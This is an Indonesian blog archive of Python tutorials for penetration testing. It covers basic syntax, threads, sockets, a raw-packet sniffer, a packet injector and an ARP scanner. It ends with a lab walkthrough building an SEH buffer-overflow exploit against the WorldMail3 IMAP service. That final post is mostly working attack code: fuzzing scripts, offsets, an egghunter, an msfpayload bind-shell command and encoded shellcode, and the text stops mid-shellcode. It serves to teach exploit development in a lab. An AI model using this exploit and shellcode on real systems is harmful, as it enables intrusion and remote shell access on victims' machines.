Rabu, 30 April 2014

Oprek2 python ke-3

Sekarang kita belajar contoh-contoh python yang berhubungan dengan network, semoga bisa di ikuti ya ;)
Ok langsung saja kita mulai, seperti berikut.

Contoh di bawah ini, kita mencoba membuat socket Server dan Client. Cara kerja nya, si client akan mengirimkan pesan ke server, dan server akan menerima pesan tersebut dan menampilkan ke layar

Simpan nama file Server.py
#!/usr/bin/python

import socket

host = "0.0.0.0"
port = 8000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(2)

print "waiting for a client ..."
(client, (ip, sock)) = s.accept()

print "received connection from: ", ip
print "starting ECHO output ..."

data = 'dummy'
while len(data):
    data = client.recv(2048)
    print "client sent: ", data
    client.send(data)

print "closing connection ..."
client.close()

print "shutting down server"
s.close()


Simpan nama file Client.py
#!/usr/bin/python

import socket
import sys

port = 8000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], port))

while 1:
    userInput = raw_input("please enter a string: ")
    s.send(userInput)
    print s.recv(2048)

s.close()

Hasil skrinsut nya dari coding di atas sebagai berikut:

Gimana, masih bisa di ikuti ya :)
Contoh di bawah ini adalah contoh lain dari socket server dan client, tapi beda nya kita hanya menyiapkan server aja, untuk client nya kita menggunakan perintah "nc" di linux.


Simpan nama file TcpServer.py
#!/usr/bin/python

import SocketServer
import socket

host = "0.0.0.0"
port = 9000

class EchoHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        print "Got connection from: ", self.client_address
        data = "dummy"

        while len(data):
            data = self.request.recv(1024)
            print "Client sent: ", data
            self.request.send(data)

        print "Client kabur :)"

s = SocketServer.TCPServer((host, port), EchoHandler)
s.serve_forever()

Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar untuk membuat sebuah web server sederhana dengan menggunakan python, kemudian kita akan mencoba mengakses nya melalui browser ;)

Simpan nama file WebServer.py
#!/usr/bin/python

""" Membuat HTTP Server sederhana """

import SocketServer
import SimpleHTTPServer

host = ""
port = 10000

class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/admin":
            self.wfile.write("This page is only for Admins !")
            self.wfile.write(self.headers)
        else:
            SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)

httpServer = SocketServer.TCPServer((host, port), HttpRequestHandler)
httpServer.serve_forever()

Hasil skrinsut nya dari coding di atas sebagai berikut:





Berikut nya kita belajar gimana caranya melakukan sniffing di network dengan menggunakan python.
Perhatikan contoh di bawah ini.

Simpan nama file sniff.py
#!/usr/bin/python

import socket
import struct
import binascii

# PF_PACKET : packet interface
# SOCK_RAW : raw socket
# htons(0x800) : pilih internet protocol packet ke kernel, ref /usr/include/linux/if_ether.h

rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
packet = rawSocket.recvfrom(2048)
print 'packet: ', packet

ethernetHeader = packet[0][0:14]
eth_hdr = struct.unpack('!6s6s2s', ethernetHeader) # !6s6s2s: 6 byte type string, 6 byte type string, 2 byte type string
print 'eth_hdr: ', eth_hdr

binascii.hexlify(eth_hdr[0]) # mac dst
binascii.hexlify(eth_hdr[1]) # mac src
binascii.hexlify(eth_hdr[2]) # eth type 0x800

ipHeader = packet[0][14:34]
ip_hdr = struct.unpack('!12s4s4s', ipHeader)
print "ip_hdr: ", ip_hdr

print "Source IP Address: ", socket.inet_ntoa(ip_hdr[1]) # ntoa : network to ascii
print "Destination IP Address: ", socket.inet_ntoa(ip_hdr[2])

# initial part of the tcp header
tcpHeader = packet[0][34:54]
tcp_hdr = struct.unpack('!HH16s', tcpHeader) # 1 byte port dest, 1 byte port src, 16 byte packet
print 'tcp_hdr: ', tcp_hdr

Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar gimana caranya melakukan inject mengirimkan sebuah pesan ke dalam traffic di network.
Perhatikan contoh di bawah ini.

Simpan nama file injector.py 
#!/usr/bin/python

import socket
import struct

rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
rawSocket.bind(("eth0", socket.htons(0x800)))

packet = struct.pack("!6s6s2s", '\xaa\xaa\xaa\xaa\xaa\xaa', '\xbb\xbb\xbb\xbb\xbb\xbb', '\x08\x00')

rawSocket.send(packet + "Hello there")

Hasil skrinsut nya dari coding di atas sebagai berikut:

Lanjut lagi belajarnya, sekarang kita belajar untuk membuat arp scanner dengan menggunakan scapy di python

Perhatikan contoh di bawah ini.

Simpan nama file ArpScanner.py 
#!/usr/bin/python

from scapy.all import *

# Subnet Scanner
for lsb in range(1,50):
    ip = "10.8.9." + str(lsb)
    arpRequest = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip,hwdst="ff:ff:ff:ff:ff:ff")
    arpResponse = srp1(arpRequest, timeout=1, verbose=0)
    if arpResponse:
        print "IP: " + arpResponse.psrc + " MAC: " + arpResponse.hwsrc


Hasil skrinsut nya dari coding di atas sebagai berikut:

Ok cukup sampe disini dulu belajar nya ;)
Semoga ga pusing :D

Rabu, 23 April 2014

Oprek2 python ke-2

Sekarang kita belajar contoh-contoh python lain dengan level belajar yang berbeda, semoga bisa di ikuti ya ;)
Ok langsung saja kita mulai, seperti berikut.

Contoh di bawah ini, kita mencoba untuk membedakan antara file dan directory dengan menggunakan python.

Simpan nama file listdirfile.py
#!/usr/bin/python

import os
os.mkdir("newdir")

for item in os.listdir("."):
  • if os.path.isfile(item):
    • print item + " is a file"
  • elif os.path.isdir(item):
    • print item + " is a directory"
  • else:
    • print "unknown"

Hasil skrinsut nya dari coding di atas sebagai berikut:

Gimana, masih bisa di ikuti ya :)
Contoh di bawah ini, kita mencoba untuk menampilkan semua file dan juga contoh membuat filter terhadap file yang akan kita tampilkan dengan menggunakan python.

Simpan nama file latglob.py
#!/usr/bin/python

import os
import glob


print "contoh tampil semuanya"
for item in glob.glob(os.path.join(".", "*")):
  • print item
print "contoh tampil hanya extensi py"
for item in glob.glob(os.path.join(".", "*.py")):
  • print item

Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar untuk clon dari sebuah proses yang kita buat dengan menggunakan python.

Simpan nama file fork-demo.py
#!/usr/bin/python

# fork : clonning a process
import os
def child_process():
  • print "I am the child process and my PID is : %d" %os.getpid()
  • print "The child is exiting"
def parent_process():
  • print "I am the parent process with PID is : %d" %os.getpid()
  • childpid = os.fork()

  • if childpid == 0:
    • # we are inside the child
    • child_process()
  • else:
    • # we are inside the parent process
    • print "We are inside the parent process"
    • print "Our child has the PID : %d" %childpid

  • while True:
    • pass
parent_process()

Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar tentang membuat thread dengan menggunakan python. Contoh coding ini jika di eksekusi, maka akan jalan terus sampai kita menghentikan proses eksekusi nya.
Perhatikan contoh di bawah ini.

Simpan nama file thread1.py 
#!/usr/bin/python

import thread
import time

def worker_thread(id):
  • print "Thread ID %d now alive!" %id
  • count = 1
  • while True:
    • print "Thread with ID %d has counter value %d" %(id, count)
    • time.sleep(2)
    • count += 1

for i in range(5):
  • thread.start_new_thread(worker_thread, (i,))

print "Main thread going for a infinite wait loop"
while True:
  • pass

Hasil skrinsut nya dari coding di atas sebagai berikut:

Lanjut lagi belajarnya, sekarang kita belajar tentang queue dengan menggunakan python, cara kerja nya kita akan membuat thread sebanyak 3, kemudian kita akan membagi 6 aktifitas ke masing-masing thread tersebut dengan berurutan. Seperti ilustrasi di bawah ini.
1 | 2 | 3
--|---|--
0 | 2 | 3
1 | 5 | 6
4 |    |

Perhatikan contoh di bawah ini.

Simpan nama file q1.py 
#!/usr/bin/python

import threading
import Queue
import time

class WorkerThread(threading.Thread):
        # constructor, parameter awal selalu self
        def __init__(self, queue):
                threading.Thread.__init__(self)
                self.queue = queue

        # method run utk menjalankan class nya
        def run(self):
                print "In WorkerThread"
                while True:
                        counter = self.queue.get()
                        get_worker = threading.Thread.getName(self)
                        print "Ordered to sleep for %d seconds on worker %s" %(counter,get_worker)
                        time.sleep(counter)
                        print "task %d on worker %s finished" %(counter,get_worker)
                        self.queue.task_done()

queue = Queue.Queue()


# buat thread pekerja nya
for i in range(1,4):
        print "Creating WorkerThread : %d" %i
        worker = WorkerThread(queue)
        worker.setDaemon(True)
        worker.start()
        print "WorkerThread %d Created!" %i

# buat aktifitas yg akan di lakukan oleh thread pekerja nya
for j in range(7):
        queue.put(j)

queue.join()
time.sleep(0)
print "All tasks over!"

Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar untuk memblok Ctrl+C agar program yang kita eksekusi tidak bisa di hentikan dengan menggunakan python :)

Simpan nama file signal1.py 
#!/usr/bin/python

import signal

def ctrlc_handler(signum, frm):
        print "Haha! you can't kill me!"

print "Installing signal handler...."
signal.signal(signal.SIGINT, ctrlc_handler)

print "Done"

while True:
        pass

Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar untuk mencoba eksekusi suatu perintah di linux dengan menggunakan python :)

Simpan nama file subprocess1.py 
#!/usr/bin/python

import subprocess

subprocess.call(['ps', 'aux'])
subprocess.call(['ls', '-al'])
subprocess.check_output(['ls', '-al'])
lines = subprocess.check_output(['ls'])
print lines
line_list = lines.split('\n')
print line_list

Hasil skrinsut nya dari coding di atas sebagai berikut:

Ok cukup sampe disini dulu belajar nya ;)

Selasa, 22 April 2014

Oprek2 python ke-1

Saat ini saya mencoba untuk berbagi dari hasil oprek2 bahasa python, yang nanti nya akan kita gunakan untuk khusus kasus pentest ;)
Untuk materi dasar nya bisa di pelajari dari internet ya ;) karena saya memang sengaja tidak membahas dasar-dasar nya.
Ok langsung saja kita mulai, seperti berikut.

Contoh di bawah ini, logika if dengan menggunakan python, cara kerja nya user di minta untuk memasukkan suatu karakter string dan kemudian akan di cek dari beberapa kondisi yang sudah kita definiskan sebelum nya.

Simpan nama file if.py
#!/usr/bin/python

name = raw_input("siapa namamu ? ")
print "namamu adalah " + name

if name == "a":
    print "kamu adalah a"
elif name == "b":
    print "kamu adalah b"
else:
    print "ga kenal :)"

Hasil skrinsut nya dari coding di atas sebagai berikut:


Gimana, ga susah kan :)
Sekarang lanjut kita belajar logika while dengan menggunakan python, cara kerja nya user di minta untuk memasukkan suatu angka dan kemudian akan terjadi perulangan jika user memasukkan angka di atas 10, perulangan akan berhenti jika angka yang di masukkan di bawah 10.

Simpan nama file while.py
#!/usr/bin/python

age = 20
while age > 10:
    age = int(raw_input("berapa usiamu ? "))
    if age > 10:
        print "> 10"
    else:
        print "< 10"


Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar untuk membuat suatu function dengan menggunakan python. Cara kerja function ini hanya mengulang dengan menggunakan logika for dari suatu karakter yang di input oleh user. Karakter yang di input harus tanpa spasi ;)

Simpan nama file func.py
#!/usr/bin/python
import sys

def print5times(line_to_print):
    for count in range(0, 5):
        print line_to_print

print5times(sys.argv[1])


Hasil skrinsut nya dari coding di atas sebagai berikut:

Berikut nya kita belajar agak berat, yaitu tentang class dan inheritance dengan menggunakan python. Pada dasarnya cara kerja nya mirip dengan bahasa lain, perhatikan contoh di bawah ini.

Simpan nama file class1.py 
#!/usr/bin/python

class Calculator:
    def __init__(self, ina, inb):
        self.a = ina
        self.b = inb

    def add(self):
        return self.a + self.b

    def mul(self):
        return self.a * self.b

# inheritance
class Scientific(Calculator):
    def power(self):
        return pow(self.a, self.b)

newCalc = Calculator(10, 20)
print 'a+b: %d' %newCalc.add()
print 'a*b: %d' %newCalc.mul()

newPow = Scientific(2, 3)
print 'a+b: %d' %newPow.add()
print 'a*b: %d' %newPow.mul()

print 'a pow b: %d' %newPow.power()

Hasil skrinsut nya dari coding di atas sebagai berikut:

Lanjut lagi belajar tentang class, tapi dengan model berbeda, agar kita bisa mengetahui variasi lain dari class :D, perhatikan contoh di bawah ini.

Simpan nama file classdemo.py 
#!/usr/bin/python

class Calculator:
    def __init__(self, ina, inb):
        self.a = ina
        self.b = inb

    def add(self):
        return self.a + self.b

    def mul(self):
        return self.a * self.b

# inheritance
class Scientific(Calculator):
    def power(self):
        return pow(self.a, self.b)

def quickAdd(a, b):
    return a+b

Simpan nama file moduldemo.py
#!/usr/bin/python

import classdemo # panggil file classdemo.py
print 'Quick Add a+b:  %d' %classdemo.quickAdd(10,20)
ins = classdemo.Scientific(5,6)
print '%d' %ins.power()

Simpan nama file moduldemo2.py
#!/usr/bin/python

from classdemo import Scientific # spesific panggil class Scientific dari file classdemo.py
ins = Scientific(5,6)
print '%d' %ins.power()
:wq

Hasil skrinsut nya dari coding di atas sebagai berikut:



Ok cukup sampe disini dulu belajar nya ;)

Jumat, 11 April 2014

Experimen BoF Ke-8

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi WorldMail3.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software WorldMail3.exe


- sedikit pemahaman tentang python di perlukan :D
- software WorldMail3 di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows


Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "}" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 1500.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.246"
port = 143

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close
command = "}" * 1500
fuzz(command)
 Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "}" sebanyak 1500, sekarang kita akan membuat pattern string sebanyak 1500 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 143

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close

command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
command += "}"
fuzz(command)
Dan ternyata aplikasi mengalami crash, tapi tidak seperti eksperimen kita sebelum nya :(
Jadi untuk melihat hasil crash nya, ada perlakuan khusus untuk kasus ini. Dari Immunity Debugger pilih menu View > SEH chain, seperti pada gambar di bawah ini

Kemudian klik kanan di value "41387A41", pilih Follow address in stack, maka baru bisa terlihat crash nya, seperti pada gambar di bawah ini. Di sini kita fokus di bagian "Pointer to next SEH record " dan "SE handler", seperti pada gambar di bawah ini:


Langkah keempat:
Sekarang kita perlu mengetahui posisi "Pointer to next SEH record " dan "SE handler" berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 143

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close

offsets = {
        'NXT': 770,
        'SEH':774
}

command = "A" * 292
command += "B" * 4 # selanjutnya di isi jmp short 6 bytes
command += "C" * 4 # selanjutnya di isi alamat memory POP POP RETN
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"command += "}"
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:


Berikut nya kita mencari alamat memory yang berisi POP POP RETN di file dll ini yang sifat nya tidak safe. Kita menggunakan script pvefindaddr.py, cara menjalankan nya di Immunity, pilih View > Log, ketik !pvefindaddr nosafeseh, tunggu sampai proses selesai. Dari sini kita akan mendapatkan info SEH yang tidak safe, termasuk target kita, seperti gambar di bawah ini:


Berikut nya kita pilih View > Executables modules, klik file dll yang tidak safe tersebut (MFldrMgr.dll). Kemudian klik kanan di area kolom pojok kiri atas, pilih Search for > Sequence of commands, kemudian input seperti ini:


Tekan Ctrl+L untuk mencari alamat POP POP RETN yang lain dan memang ternyata ada banyak. Ambil salah satu nya saja tapi yang tidak mengandung karakter yang di larang, kita ambil contoh seperti gambar berikut:



Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 143


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close

offsets = {
        'NXT': 770,
        'SEH':774
}

# utk penanda mencari suatu string yg kita cari
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
stringnya = "w00tw00t"

# 368 bytes
shellcode = stringnya + ("\xda\xc0\xb8\xce\x1e\xeb\x77\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x14\x03\x42\xda\xfc\x1e\x8b\x0a\x89"
"\xe1\x74\xca\xea\x68\x91\xfb\x38\x0e\xd1\xa9\x8c\x44\xb7\x41"
"\x66\x08\x2c\xd2\x0a\x85\x43\x53\xa0\xf3\x6a\x64\x04\x3c\x20"
"\xa6\x06\xc0\x3b\xfa\xe8\xf9\xf3\x0f\xe8\x3e\xe9\xff\xb8\x97"
"\x65\xad\x2c\x93\x38\x6d\x4c\x73\x37\xcd\x36\xf6\x88\xb9\x8c"
"\xf9\xd8\x11\x9a\xb2\xc0\x1a\xc4\x62\xf0\xcf\x16\x5e\xbb\x64"
"\xec\x14\x3a\xac\x3c\xd4\x0c\x90\x93\xeb\xa0\x1d\xed\x2c\x06"
"\xfd\x98\x46\x74\x80\x9a\x9c\x06\x5e\x2e\x01\xa0\x15\x88\xe1"
"\x50\xfa\x4f\x61\x5e\xb7\x04\x2d\x43\x46\xc8\x45\x7f\xc3\xef"
"\x89\x09\x97\xcb\x0d\x51\x4c\x75\x17\x3f\x23\x8a\x47\xe7\x9c"
"\x2e\x03\x0a\xc9\x49\x4e\x43\x3e\x64\x71\x93\x28\xff\x02\xa1"
"\xf7\xab\x8c\x89\x70\x72\x4a\xed\xab\xc2\xc4\x10\x53\x33\xcc"
"\xd6\x07\x63\x66\xfe\x27\xe8\x76\xff\xf2\xbf\x26\xaf\xac\x7f"
"\x97\x0f\x1c\xe8\xfd\x9f\x43\x08\xfe\x75\xf2\x0e\x30\xad\x57"
"\xf9\x31\x51\x46\xa5\xbc\xb7\x02\x45\xe9\x60\xba\xa7\xce\xb8"
"\x5d\xd7\x24\x95\xf6\x4f\x70\xf3\xc0\x70\x81\xd1\x63\xdc\x29"
"\xb2\xf7\x0e\xee\xa3\x08\x1b\x46\xad\x31\xcc\x1c\xc3\xf0\x6c"
"\x20\xce\x62\x0c\xb3\x95\x72\x5b\xa8\x01\x25\x0c\x1e\x58\xa3"
"\xa0\x39\xf2\xd1\x38\xdf\x3d\x51\xe7\x1c\xc3\x58\x6a\x18\xe7"
"\x4a\xb2\xa1\xa3\x3e\x6a\xf4\x7d\xe8\xcc\xae\xcf\x42\x87\x1d"
"\x86\x02\x5e\x6e\x19\x54\x5f\xbb\xef\xb8\xee\x12\xb6\xc7\xdf"
